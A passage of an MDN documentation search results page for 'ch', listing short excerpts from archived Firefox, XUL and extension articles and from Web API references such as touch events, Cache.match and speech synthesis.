Search completed in 1.56 seconds.
13301 results for "ch":
Your results are loading. Please wait...
Binding Attachment and Detachment - Archive of obsolete content
attachment using css bindings can be attached to elements through css using the -moz-binding property.
... in the following example, a binding is referenced that will be attached to all html checkbox elements.
... input[type="checkbox"] { -moz-binding: url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule.
...And 33 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
before we dive into a thorough explanation, we'll quickly introduce the technologies used to develop firefox extensions.
... technologies used to develop firefox extensions firefox and its extensions are both based on and developed with technologies widely used on the web.
... the role of each technology firefox is largely built using four technologies: xul, css, javascript, and xpcom.
...And 22 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
firefox supports search suggestions in opensearch plugins; as the user types in the search bar, firefox queries the url specified by the search plugin to fetch live search suggestions.
... once the list has been retrieved, it's displayed in a popup box that appears under the search bar, which lets the user select a suggested search term.
... if the user continues to type, a new set of suggestions is requested from the search engine, and the displayed list is refreshed.
...And 17 more matches
TouchEvent.changedTouches - Web APIs
the changedtouches read-only property is a touchlist whose touch points (touch objects) varies depending on the event type, as follows: for the touchstart event, it is a list of the touch points that became active with the current event.
... for the touchmove event, it is a list of the touch points that have changed since the last event.
... for the touchend event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface).
...And 7 more matches
chargingchange - Archive of obsolete content
the chargingchange event is fired when the charging attribute of the battery api has changed.
... property type description batterymanager.charging boolean the system's battery charging status.
... returns true if the battery is charging, if the state of the system's battery is not determinable, or if no battery is attached to the system.
...And 6 more matches
chargingtimechange - Archive of obsolete content
the chargingtimechange event is fired when the chargingtime attribute of the battery api has changed.
... property type description batterymanager.chargingtime double (float) the remaining time in seconds until the system's battery is fully charged.
... returns 0 if the battery is fully charged.
...And 2 more matches
dischargingtimechange - Archive of obsolete content
the dischargingtimechange event is fired when the dischargingtime attribute of the battery api has changed.
... property type description batterymanager.dischargingtime double (float) the remaining time in seconds until the system's battery is completely discharged and the system is about to be suspended.
... returns positive infinity if the battery is charging, if the implementation is unable to report the remaining discharging time, or if there is no battery attached to the system.
... example navigator.getbattery().then(function(battery) { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); battery.addeventlistener('dischargingtimechange', function() { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
CheckboxStateChange - Archive of obsolete content
the checkboxstatechange event is executed when the state of a <checkbox> element has changed.
... related events valuechange radiostatechange ...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
« previousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007.
... the chapters so far have each focused on technologies in isolation—xul, javascript, css, and xpcom.
... in this chapter, we’ll discuss how to put them together to actually build an extension.
...And 133 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
before you learn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions.
...similar approaches are found in xaml, which is used in windows vista, and flex, which is used in adobe flash.
... like web pages, which display the same regardless of platform, applications marked up in xul will work the same in any environment where firefox runs.
...And 83 more matches
Choosing the right approach - Learn web development
previous overview: asynchronous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate.
... objective: to be able to make a sound choice of when to use different asynchronous programming techniques.
... asynchronous callbacks generally found in old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the result.
...And 55 more matches
Archived Mozilla and build documentation - Archive of obsolete content
these articles are archived, obsolete documents about mozilla, gecko, and the process of building mozilla projects.
... ant script to assemble an extension this ant script helps to package an extension archived spidermonkey docs this section contains old spidermonkey documentation.
... blackconnect blackwood bonsai it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
...And 49 more matches
nsICachingChannel
netwerk/base/public/nsicachingchannel.idlscriptable please add a summary to this article.
... inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins).
... support for "pinning" cached data in the cache (for printing and save-as).
...And 47 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
changing default search setting from extensions many add-ons, for monetization or other reasons, change several search-related settings at install time.
...due to the large volume of user complaints regarding hidden settings being changed against their will, and not being restored after the add-ons responsible are disabled, mozilla will take any steps necessary to mitigate the impact of offending add-ons.
... in particular, changing the location bar search keyword url in a way which is not automatically reset when the add-on is removed will result in a reset prompt for users.
...And 46 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
this chapter explains how to use xpcom to implement advanced processes using only javascript.
... introduction javascript lacks functions for opening files and character-code conversion, among other things.
... a different mechanism is needed to perform these functions.
...And 42 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
dom mutation events were introduced to html several years ago in order to allow web applications to monitor changes to the dom by other scripts.
... unfortunately, adding listeners for any of these events to a document has a highly deleterious effect on performance, an effect which is not mitigated in the slightest by later removing those listeners.
...this document lays out some alternatives which do not have such severe performance impacts.
...And 36 more matches
Theme changes in Firefox 2 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 2.
... browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme.
... the table lists both the changed xul file and the theme's corresponding css file that you might need to update.
...And 36 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
technical (what do we follow).
...they may also incorporate external procedural and/or technical standards.
... technical standards have traditionally been pioneered through consortiums or standards bodies.
...And 33 more matches
Index of archived content - Archive of obsolete content
querystring request selection self simple-prefs simple-storage system tabs timers ui url widget windows low-level apis /loader chrome console/plain-text console/traceback content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidde...
... io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks places/favicon places/history platform/xpcom preferences/event-target preferences/service remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/environment system/events system/runtime system/unload system/xul-app tabs/utils test/assert test/harness test/httpd test/ru...
...nner test/utils ui/button/action ui/button/toggle ui/frame ui/id ui/sidebar ui/toolbar util/array util/collection util/deprecate util/list util/match-pattern util/object util/uuid window/utils release notes tools cfx cfx to jpm console jpm jpm-mobile jpmignore package.json tutorials add a context menu item add a menu i...
...And 32 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
matsuzawa-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) this chapter discusses tools to assist in developing extensions.
... tools for extension developers fixme: are we sure we'll talking about venkman since it's not well maintained fixme: we maybe should talk about firebug and chromebug fixme: and what about console 2 and docked-js console?
... install the extension in firefox directly from the above url and relaunch firefox.
...And 30 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
this means that landing nanojit patches is a bit complicated, but experience has taught us that this is much better than having separate versions of nanojit.
... (note: this document is called nanojitmerge for historical reasons -- adobe and mozilla used to have separate copies of nanojit, but this was a maintenance headache so they were merged.
... repository: http://hg.mozilla.org/projects/nanojit-central (or clone ssh://hg.mozilla.org/projects/nanojit-central if you want to actually commit changes) tinderbox: http://tinderbox.mozilla.org/showbuilds.cgi?tree=nanojit commit log: http://hg.mozilla.org/projects/nanojit-central/shortlog/ irc channel: irc.mozilla.org #nanojit procedure the first thing to understand is that there are now three copies of nanojit in public mozilla.com repositories: one in nanojit-central, one in tracemonkey, one in tamarin-redux.
...And 30 more matches
Modularization techniques - Archive of obsolete content
the mechanism we're using is based on the principles laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can provide you with more interesting and complex examples than the ones provided here.
...a pure virtual interface is simply a class where every method is defined as pure virtual, that is: virtual int foo(int bar) = 0; pure virtual interfaces provide an easy mechanism for passing function tables between modules that may reside in separate, possibly dynamically loaded, libraries.
... each interface is assigned a unique interface identifier, or iid.
...And 27 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
the details of block and line layout are tricky; this document serves as a "cheat sheet" that describes how the vagary of different state flags control what's going on.
... objects this section presents some of the classes involved in block and line reflow, along with important members of each object that control reflow processing.
...these flags can be grouped into two categories: flags which affect all frames ("public" flags), and flags that are reserved for an individual frame's private use ("private" flags).
...And 24 more matches
Synchronous and asynchronous requests - Web APIs
xmlhttprequest supports both synchronous and asynchronous communications.
... in general, however, asynchronous requests should be preferred to synchronous requests for performance reasons.
... synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience.
...And 24 more matches
Scratchpad - Archive of obsolete content
scratchpad is deprecated as of firefox 70 (bug 1565380), and will be removed as of firefox 72 (bug 1519103).
... scratchpad provides an environment for experimenting with javascript code.
... unlike the web console, which is designed for interpreting a single line of code at a time, scratchpad lets you edit larger chunks of javascript code, then execute it in various ways depending on how you want to use the output.
...And 23 more matches
Tree Widget Changes - Archive of obsolete content
this describes changes in xul trees api for gecko 1.8.
... there are no changes to xul tree tags, however the id attribute is no longer required on treecol elements just to get them to work.
...a tree will have one of these objects for each column (each treecol element) in the tree.
...And 20 more matches
The Chrome URL - Archive of obsolete content
« previousnext » the following section will describe how to refer to xul documents and other chrome files.
... the chrome url xul files can be referenced with a regular http url (or any type of url) just like html files.
... however, packages that are installed into mozilla's chrome system can be referenced with special chrome urls.
...And 19 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text content.
... note: in versions of firefox prior to firefox 3, rich list boxes support only single selection.
... firefox 3 introduced multiple selection to rich list boxes.
...And 18 more matches
Cache.match() - Web APIs
WebAPICachematch
the match() method of the cache interface returns a promise that resolves to the response associated with the first matching request in the cache object.
... if no match is found, the promise resolves to undefined.
... syntax cache.match(request, {options}).then(function(response) { // do something with the response }); parameters request the request for which you are attempting to find responses in the cache.
...And 18 more matches
CacheStorage.match() - Web APIs
the match() method of the cachestorage interface checks if a given request or url string is a key for a stored response.
... this method returns a promise for a response, or a promise which resolves to undefined if no match is found.
... you can access cachestorage through the global caches property.
...And 18 more matches
How to enable locale switching in a XULRunner application - Archive of obsolete content
this article is for developers who have localised their xul application using dtd entity files and want to provide their users with a mechanism to switch the locale in the application itself.
... normally the application locale is inherited from the os environment of the host system, however there are situations when you might want to give users the option to override the default setting and choose a different locale.
...modify the application preferences first, you need to tell xulrunner that your application wishes to ignore the default os locale and that it will do its own choosing instead.
...And 17 more matches
util/match-pattern - Archive of obsolete content
usage specifying patterns there are three ways you can specify patterns: as an exact match string using a wildcard in a string using a regular expression exact matches a url matches only that url.
... the url must start with a scheme, end with a slash, and contain no wildcards.
... example pattern example matching urls example non-matching urls "http://example.com/" http://example.com/ http://example.com http://example.com/foo https://example.com/ http://foo.example.com/ wildcards a single asterisk matches any url with an http, https, or ftp scheme.
...And 14 more matches
XUL Changes for Firefox 1.5 - Archive of obsolete content
this lists the most notable changes to xul in firefox 1.5 (gecko 1.8).
... for other changes you should be aware of, see adapting xul applications for firefox 1.5.
... <scrollcorner> a <scrollcorner> element is added which is used to create the small box in the intersection of the horizontal and vertical scrollbars.
...And 14 more matches
Object.prototype.watch() - Archive of obsolete content
deprecation warning: do not use watch() and unwatch()!
...in addition, using watchpoints has a serious negative impact on performance, which is especially true when used on global objects, such as window.
... the watch() method watches for a property to be assigned a value and runs a function when that occurs.
...And 14 more matches
checkbox - Archive of obsolete content
this is most commonly rendered as a box when the element is off and a box with a check when the element is on.
... the user can switch the state of the check box by selecting it with the mouse.
... a label, specified with the label attribute, may be added beside the check box.
...And 13 more matches
richlistitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an individual item in a richlistbox.
... attributes disabled, searchlabel, selected, tabindex, value properties accessible, control, disabled, label, selected, tabindex, value examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 13 more matches
Metro browser chrome tests - Archive of obsolete content
the metro browser chrome test suite is an automated testing framework designed to allow testing of the immersive version of firefox for windows 8 and above using javascript.
... it currently allows you to run javascript code in the same scope as the immersive browser and report results using the same functions as the mochitest test framework.
... running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro this will launch metro browser chrome tests in the default immersive browser.
...And 12 more matches
Theme changes in Firefox 4 - Archive of obsolete content
this article covers changes in firefox 4 that affect theme developers.
... omni.jar firefox 4 achieves performance improvements by moving many of its internal parts from being standalone files or sets of jar files into just one jar file; this reduces the amount of i/o needed to load firefox.
... /chrome/browser/skin contains application-specific skin resource files.
...And 12 more matches
Accessing XML children - Archive of obsolete content
« previousnext » accessing xml children warning: e4x is deprecated.
... it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18.
...and [] operators provide access to the child nodes of an e4x element.
...And 12 more matches
XForms Switch Module - Archive of obsolete content
introduction xforms switch module define a switch construct that allows the creation of user interfaces where the user interface can be varied based on user actions and events.
... the module defines for this switch, case and toggle elements.
... switch element the element (see the spec) is used in conjunction with case and toggle elements.
...And 12 more matches
Archived open Web documentation - Archive of obsolete content
the documentation listed below is archived, obsolete material about open web topics.
... talk:background-size should not the "browser compatibility" table also list google chrome and konqueror?
... chome is not mentioned at all, but is becoming increasingly popular.
...And 12 more matches
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process.
... usage the sdk/remote/parent module enables sdk code to load modules into child processes.
... the sdk/remote/child module is for these "child process modules".
...And 11 more matches
Chrome Authority - Archive of obsolete content
the api used to gain chrome access is currently an experimental feature of the sdk, and may change in future releases.
... using chrome authority the most powerful low-level modules are run with "chrome privileges", which gives them access to the infamous components object, which grants unfettered access to the host system.
... from this, the module can do pretty much anything the browser is capable of.
...And 11 more matches
Theme changes in Firefox 3 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3.
... browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme.
... the table lists both the changed xul file and the theme's corresponding css file that you might need to update.
...And 11 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
after reading this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it.
... how do i know if my addon is affected by these changes?
... if your code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feat...
...And 10 more matches
Working with BFCache - Archive of obsolete content
q: what is the bfcache exactly?
... a: bfcache stands for back-forward cache.
... for more info about this, read how to use firefox caching.
...And 10 more matches
patch - Archive of obsolete content
method of install object syntax int patch ( string registryname, string xpisourcepath, object localdirspec, string relativelocalpath); int patch ( string registryname, installversion version, string xpisourcepath, object localdirspec, string relativelocalpath); int patch ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath); parameters the patch method has the following parameters: registryname the pathname in the client version registry for the component that is to be patched.this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
... typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.
...this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.
...And 10 more matches
Building Hierarchical Trees - Archive of obsolete content
« previousnext » a template may be used to generate hierarchical trees.
...each level of the tree is created using a successive iteration of the template build process.
...with an rdf datasource, this would usually be an rdf container such as a seq and the tree would display its children.
...And 10 more matches
Archived JavaScript Reference - Archive of obsolete content
this property has been removed and no longer works.array comprehensionsthe array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
...do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects.
... it provided a stream of changes in order of occurrence.
...And 10 more matches
Theme changes in Firefox 3.5 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3.5.
... core, browser and toolkit changes requiring theme updates there are a number of changes in the browser that may require you to make changes to your theme.
... global/checkbox.css, global/radio.css since bug 394892, radio buttons and checkboxes no longer have a minimum size on mac os x.
...And 9 more matches
Cache.matchAll() - Web APIs
WebAPICachematchAll
the matchall() method of the cache interface returns a promise that resolves to an array of all matching responses in the cache object.
... syntax cache.matchall(request, {options}).then(function(response) { // do something with the response array }); parameters request optional the request for which you are attempting to find responses in the cache.
...if this argument is omitted, you will get a copy of all responses in this cache.
...And 9 more matches
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the rtcdtmftonechangeevent() constructor creates a new rtcdtmftonechangeevent.
... syntax var event = new rtcdtmftonechangeevent(type, options); parameters type a domstring containing the name of the event.
... this is always "tonechange".
...And 9 more matches
registerChrome - Archive of obsolete content
registerchrome registers chrome with the chrome registry.
... method of install object syntax int registerchrome( switch, srcdir, xpipath); parameters the registerchrome method has the following parameters: switch switch is the chrome switch indicating what type of file is being registered.
...one final option for the switch parameter is delayed_chrome, which registers the switch only after a relaunch of the browser.
...And 8 more matches
nsIApplicationCacheChannel
netwerk/base/public/nsiapplicationcachechannel.idlscriptable this interface is implemented by communication channels that support application caches.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsiapplicationcachecontainer last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void markofflinecacheentryasforeign(); attributes attribute type description chooseapplicationcache boolean when true, the channel will choose an application cache if one was not explicitly provided and none is available from the notification callbacks.
...exceptions thrown ns_error_already_opened if set after calling asyncopen() on the channel.
...And 8 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
perhaps the first time you looked at firefox, you may have been surprised to see that it has a much simpler structure than other full-featured browsers, such as opera or safari.
... greasemonkey userchrome.js both of these provide an environment for running user scripts (javascript) in firefox itself, where the scripts can target specific websites.
... user style sheets (change appearance through css) yes; you can change the usercontent.css file, or use the stylish extension.
...And 7 more matches
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
...e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
... another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other.
...And 7 more matches
for each...in - Archive of obsolete content
the for each...in statement is deprecated as the part of ecma-357 (e4x) standard.
... firefox now warns about the usage of for each...in and it no longer works starting with firefox 57.
... please see warning: javascript 1.6's for-each-in loops are deprecated for migration help.
...And 7 more matches
forEach - Archive of obsolete content
feel free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english grammar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in providing a foreach implementation.
... a much more sane approach would be to count on the implementation to throw errors if wrong arguments are provided and implement this in fewer lines of code.
... i've removed the lengthy example, while still linking to it and provided a much simpler and leaner implementation.
...And 7 more matches
TouchEvent.targetTouches - Web APIs
the targettouches read-only property is a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart event occurred inside the same target element as the current target element.
... syntax var touches = touchevent.targettouches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart event occurred inside the same target element as the current target element.
... example this example illustrates the touchevent object's touchevent.targettouches property.
...And 7 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
specifically, we create a rich tooltip that uses html instead of plain text.
...our customized tooltiphtml attribute for each element can be set at any time.
...an html string to a xul attribute for later injection into the tooltip document.getelementbyid("htmltip1").setattribute("tooltiphtml", "<font color='red'>red foo</font>") document.getelementbyid("htmltip2").setattribute("tooltiphtml", "<font color='green'>green foo</font>") }, onmousetooltip: function(event) { //get the html tooltip string assigned to the element that the mouse is over (which will soon launch the tooltip) var txt = event.target.getattribute("tooltiphtml"); // get the html div element that is inside the custom xul tooltip var div = document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown custom html while(div.firstchild) div.removechild(div.firstchild); //safely convert html string to a simple dom object, stripping it of javascript a...
...And 6 more matches
popChallengeResponse - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
... resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded cmmf popodeckeychallcontent message.
... the current implementation does not conform to that defined in the cmmf draft, and we intend to change this implementation to that defined in the cmc rfc..
...And 6 more matches
autocompletesearch - Archive of obsolete content
« xul reference home autocompletesearch new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface.
... the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute.
... search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched.
...And 6 more matches
-ms-scroll-chaining - Archive of obsolete content
the -ms-scroll-chaining css property is a microsoft extension that specifies the scrolling behavior that occurs when a user hits the scroll limit during a manipulation.
... initial valuechainedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values chained initial value.
... formal syntax chained | none examples the following example illustrates the -ms-scroll-chaining property in use.
...And 6 more matches
TouchEvent.touches - Web APIs
touches is a read-only touchlist listing all the touch objects for touch points that are currently in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touchstart time.
... you can think of it as how many separate fingers are able to be identified as touching the screen.
... syntax var touches = touchevent.touches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touchstart time.
...And 6 more matches
International characters in XUL JavaScript - Archive of obsolete content
gecko 1.8, as used in firefox 1.5 and other applications, added support for non-ascii characters in javascript files loaded from xul files.
... this means that such script files can use any character from virtually any language of the world.
... for example, they can contain a line: var text = "ein schönes beispiel eines mehrsprachigen textes: 日本語"; this mixes german and japanese characters.
...And 5 more matches
Using spell checking in XUL - Archive of obsolete content
spell checking functionality is available starting in firefox 2.
... this document describes how to use the mozispellcheckingengine component to add spell checking capabilities to your firefox extension.
... see controlling spell checking in html forms for details on adding spell check support to html forms for your website.
...And 5 more matches
Object.prototype.__noSuchMethod__ - Archive of obsolete content
the __nosuchmethod__ property used to reference a function to be executed when a non-existent method is called on an object, but this function is no longer available.
... while __nosuchmethod__ has been dropped, the ecmascript 2015 specification has the proxy object, with which you can achieve the below (and more).
... syntax obj.__nosuchmethod__ = fun parameters fun a function that takes the form function (id, args) { .
...And 5 more matches
system/child_process - Archive of obsolete content
experimental an implementation of the node.js child_process api.
... this module enables you to execute a child program in a new process.
... since it emulates the node.js child_process api, it's not documented separately here.
...And 4 more matches
Chromeless - Archive of obsolete content
[this project may not be active — check github https://github.com/mozilla/chromeless] chromeless is a mozilla labs project in its early stages.
... the aim is to enable developers to create full blown desktop applications using only web technologies.
... chromeless apps have access to a collection of javascript apis that provide them with deep desktop integration.
...And 4 more matches
::-ms-check - Archive of obsolete content
the ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">.
... allowable properties only the following css properties can be used in a rule with ::-ms-check in its selector.
...r-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-check example html <form> <label for="redbutton">red</label> <input type="radio" id="redbutton"><br> <label for="greencheckbox">green</label> <input type="checkbox" id="greencheckbox"> </form> css input, label { display: inline; } input[type=radio]::-ms-check { border-color: red; /* this will make the border red when the button is checked.
...And 4 more matches
Hiding browser chrome - Archive of obsolete content
there are times in which an extension may find it useful to hide browser chrome (that is, toolbars, the location bar, and so forth), in order to reduce clutter when presenting a particular user interface.
...this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method.
... note: don't simply replace the hidechromeforlocation() method; this will likely hurt the functionality of firefox itself as well as other extensions.
...And 3 more matches
checkState - Archive of obsolete content
« xul reference home checkstate type: integer, values 0, 1, or 2 this attribute may be used to create three state buttons, numbered 0, 1 and 2.
... when in state 0 or 1, pressing the button will switch to the opposite state.
... when in state 2, pressing the button will switch to state 0.
...And 3 more matches
spellcheck - Archive of obsolete content
« xul reference home spellcheck type: boolean if true, spell checking is enabled by default for the text box; if false, spell checking is disabled by default.
... if not specified, this defaults to false the html the spellcheck attribute uses values of true or false (you cannot simply add the spellcheck attribute to a given element): <!-- spellcheck everything!
... --> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div contenteditable="true" spellcheck="true">i am some content</div> <!-- spellcheck nothing!
...And 3 more matches
Specifying Startup Chrome Window - Archive of obsolete content
main chrome window in order to specify the main chrome window of your xulrunner application, you'll need to add a preferences file to your application directory structure and add a preference named toolkit.defaultchromeuri to that file.
...it's directory structure is as follows: xulmine ├───chrome ├───components └───defaults └───preferences in defaults/preferences, there is a file named xulmine.js.
... its contents are: pref("toolkit.defaultchromeuri", "chrome://xulmine/content/xulmine.xul"); the toolkit.defaultchromeuri preference specifies that the xul window at chrome://xulmine/content/xulmine.xul is the main application window.
...And 3 more matches
Object.prototype.unwatch() - Archive of obsolete content
deprecation warning: do not use unwatch() and watch()!
...in addition, using watchpoints has a serious negative impact on performance, which is especially true when used on global objects, such as window.
... the unwatch() method removes a watchpoint set with the watch() method.
...And 3 more matches
SpeechSynthesisUtterance.pitch - Web APIs
the pitch property of the speechsynthesisutterance interface gets and sets the pitch at which the utterance will be spoken at.
... syntax // default 1 speechsynthesisutteranceinstance.pitch = 1.5; value a float representing the pitch value.
... it can range between 0 (lowest) and 2 (highest), with 1 being the default pitch for the current platform or voice.
...And 3 more matches
modDateChanged - Archive of obsolete content
method of file object syntax boolean moddatechanged (filespecobject asourcefolder, number anolddate); parameters the moddatechanged method has the following parameters: asourcefolder a filespecobject representing the file to be queried.
... description most often, the date passed in as the second parameter in moddatechanged is the returned value from a moddate on a separate file, as in the following example, in which the dates of two files are compared.
... example filesource1 = getfolder("program", "file1.txt"); filesource2 = getfolder("program", "file2.txt"); err1 = file.moddate(filesource1); // the baseline returned err2 = file.moddatechanged(filesource1, err1); logcomment("file.moddatechanged should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself.
...And 2 more matches
popupanchor - Archive of obsolete content
« xul reference homepopupanchortype: one of the values belowpopupanchor is an optional attribute for specifying where popup content should be anchored on the element.noneno anchortopleftanchor to the top left cornertoprightanchor to the top right cornerbottomleftanchor to the bottom left cornerbottomrightanchor to the bottom right cornersyntax<element popupanchor="none | topleft | topright | bottomleft | bottomright" /> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright" /> notesthe popupanchor attribute can be used to specify that the popup content should come up anchored to one of the four corners of the content object (e.g., the button popping up the content).
... if omitted, no anchoring occurs.
...this point (either directly under the mouse or attached to one of the four corners) is called the originating point.by default the popup content appears with its top left point located directly underneath the point at which the user's mouse goes down (on tooltips the content is displaced by the height of the mouse cursor).
...And 2 more matches
searchSessions - Archive of obsolete content
« xul reference home searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete.
...the following values are possible, although custom components may be installed which add others.
... history: the user's url history is searched.
...And 2 more matches
-ms-touch-select - Archive of obsolete content
the -ms-touch-select css property is a microsoft extension that toggles the gripper visual elements that enable touch text selection.
... none the grippers are always off and default touch selection functionality is not provided.
... the -ms-touch-select property should only be used by applications that provide their own selection experience.
...And 2 more matches
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
the channelsplitternode() constructor of the web audio api creates a new channelsplitternode object instance, representing a node that splits the input into a separate output for each of the source node's audio channels.
... syntax var splitter = new channelspitternode(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... options optional a channelsplitteroptions dictionary object defining the properties you want the channelsplitternode to have (it also inherits the options defined in the audionodeoptions dictionary): numberofoutputs: a number defining the number of inputs the channelsplitternode should have.
...And 2 more matches
SpeechSynthesis.onvoiceschanged - Web APIs
the onvoiceschanged property of the speechsynthesis interface represents an event handler that will run when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) this may occur when speech synthesis is being done on the server-side and the voices list is being determined asynchronously, or when client-side voices are installed/uninstalled while a speech synthesis application is running.
... syntax speechsynthesisinstance.onvoiceschanged = function() { ...
... }; examples this could be used to populate a list of voices that the user can choose between when the event fires (see our speak easy synthesis demo.) note that firefox doesn't support it at present, and will just return a list of voices when speechsynthesis.getvoices() is fired.
...And 2 more matches
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
the speechsynthesisutterance() constructor of the speechsynthesisutterance interface returns a new speechsynthesisutterance object instance.
... syntax var utterthis = new speechsynthesisutterance(text); parameters text a domstring containing the text that will be synthesized when the utterance is spoken..
... examples the following snippet is excerpted from our speech synthesizer demo.
...And 2 more matches
TouchList.identifiedTouch() - Web APIs
the identifiedtouch() method returns the first touch item in the touchlist that matches the specified identifier.
... it is recommended that you use touchlist.item() instead.
... syntax var touchitem = touchlist.identifiedtouch(id); parameters id an integer value identifying the touch object to retrieve from the list.
...And 2 more matches
chrome - Archive of obsolete content
